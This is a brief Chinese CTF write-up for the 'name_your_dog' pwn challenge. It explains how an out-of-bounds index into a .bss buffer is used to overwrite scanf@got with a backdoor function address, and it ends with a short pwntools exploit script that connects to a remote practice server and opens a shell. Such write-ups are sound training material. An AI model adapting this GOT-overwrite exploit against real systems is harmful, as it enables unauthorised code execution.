wustctf2020_name_your_dog
-
例行检查,32位程序,开启了canary和nx
-
本地试运行一下看看大概的情况
-
32位ida载入,检索字符的时候发现了后门函数,shell_addr=0x80485cb
-
主要函数,感觉跟cat那题差不多
-
漏洞函数
跟cat又有点不一样,cat的参数存储在栈上,可以通过计算buf与ret的偏移来修改ret为后门,这次的buf在bss段,没法获取栈地址。 -
bss段距离got表不远,这边的想法是将printf@got修改成后门函数,这样在调用printf的时候就能获取shell了。
但是在计算偏移的时候发现print@got的偏移不是8的整数倍
print@got偏移=(0x804a00c-0x0804A060)/8=–10.5
看Namewitch函数发现scanf函数也会执行,就转变该scanf@got了
scanf@got偏移=(0x804a028-0x0804A060)/8=–7
exp:
from pwn import *
p = remote("node3.buuoj.cn",25798)
#p = process("./wustctf2020_name_your_dog")
shell = 0x080485CB
p.sendlineafter(">",'-7')
p.sendlineafter("Give your name plz: ",p32(shell))
p.interactive()